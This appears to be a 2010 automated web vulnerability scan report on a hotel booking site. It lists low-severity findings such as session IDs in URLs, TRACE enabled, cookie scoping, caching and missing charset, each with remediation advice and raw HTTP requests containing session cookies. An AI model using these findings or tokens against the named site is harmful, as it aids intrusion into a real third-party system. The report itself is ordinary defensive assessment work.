GET /web/SinglePropertySearchAction.do?1=&operation=SinglePropertySearchResult&rateCode=&arriveMonth=10&travelAgentID=&module=PropertySearch&propertyCode=0622&departMonth=10&execute=Yes&instanceId=172&departYear=2010&arriveYear=2010&arriveDay=11&adults=1&departDay=12&numberOfNights=1&chainCode=LM&invalidateSession=True&exURL=True HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
Request
GET /web/SinglePropertySearchAction.do?1=&operation=SinglePropertySearchResult&rateCode=&arriveMonth=10&travelAgentID=&module=PropertySearch&propertyCode=0622&departMonth=10&execute=Yes&instanceId=172&departYear=2010&arriveYear=2010&arriveDay=11&adults=1&departDay=12&numberOfNights=1&chainCode=LM&invalidateSession=True&exURL=True HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /web/DisplayRoomRateSelection.do;jsessionid=8549D603205F7400A4C0FA42D55DAC60?pageIndex=1&conversionFactor=&roomsSortOrder=RateType HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: http://nthh.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NB4ReturnCookie=1286822667758; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60
The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.
Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.
Issue remediation
The TRACE method should be disabled on the web server.
The following email addresses were disclosed in the response:
555-555-0199@example.com
wiener@example.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /web/BookingSummary.do HTTP/1.1 Host: historichotels.ibe.netbooker.com Connection: keep-alive Referer: https://historichotels.ibe.netbooker.com/web/DisplayRoomRateSelection.do?pageIndex=1&conversionFactor=&roomsSortOrder=RateType Cache-Control: max-age=0 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NB4ReturnCookie=1286823531257; multiBrowserCookie=No; JSESSIONID=02900B59222E51FE233D508DFF99F1F1
Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.
Issue remediation
The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:
GET /web/FrontController.nb4 HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286822667758; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60;
Response
HTTP/1.1 200 OK Date: Mon, 11 Oct 2010 18:45:13 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/html Content-Length: 15529
GET /web/PopupAction.do HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286822667758; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60;
Response
HTTP/1.1 200 OK Date: Mon, 11 Oct 2010 18:45:28 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Set-Cookie: JSESSIONID=BE5A7C91248B012915951EC76E24BC7A; Path=/web Content-Length: 5010 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/html;charset=UTF-8
GET /web/ReservationSummaryAction.do HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: https://historichotels.ibe.netbooker.com/web/BookingSummary.do Cookie: NB4ReturnCookie=1286823531237; JSESSIONID=02900B59222E51FE233D508DFF99F1F1; multiBrowserCookie=No;
Response
HTTP/1.1 200 OK Date: Mon, 11 Oct 2010 19:10:24 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Set-Cookie: JSESSIONID=31B8273E07D2E74A12F8398CE2010DA4; Path=/web Content-Length: 5010 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/html;charset=UTF-8
GET /web/SinglePropertySearchAction.do HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286822667758; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60;
Response
HTTP/1.1 200 OK Date: Mon, 11 Oct 2010 18:45:14 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 Set-Cookie: JSESSIONID=E38B3B6221FB54E42DCC90151ACF910B; Path=/web Content-Length: 5010 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/html;charset=UTF-8
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
GET /web/FrontController.nb4 HTTP/1.1 Host: historichotels.ibe.netbooker.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NB4ReturnCookie=1286822667758; JSESSIONID=8549D603205F7400A4C0FA42D55DAC60;
Response
HTTP/1.1 200 OK Date: Mon, 11 Oct 2010 18:45:13 GMT Server: Apache/2.0.48 (Unix) mod_jk/1.2.5 P3P: CP='CAO PSA OUR' Connection: close Content-Type: text/html Content-Length: 15529
The server presented a valid, trusted SSL certificate. This issue is purely informational.
The server presented the following certificates:
Server certificate
Issued to:
*.ibe.netbooker.com
Issued by:
UTN-USERFirst-Hardware
Valid from:
Wed Feb 24 18:00:00 CST 2010
Valid to:
Tue Mar 01 17:59:59 CST 2011
Certificate chain #1
Issued to:
UTN-USERFirst-Hardware
Issued by:
UTN-USERFirst-Hardware
Valid from:
Fri Jul 09 13:10:42 CDT 1999
Valid to:
Tue Jul 09 13:19:22 CDT 2019
Issue background
SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.
It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.Report generated by Hoyt LLC at Tue Oct 12 19:35:45 CDT 2010.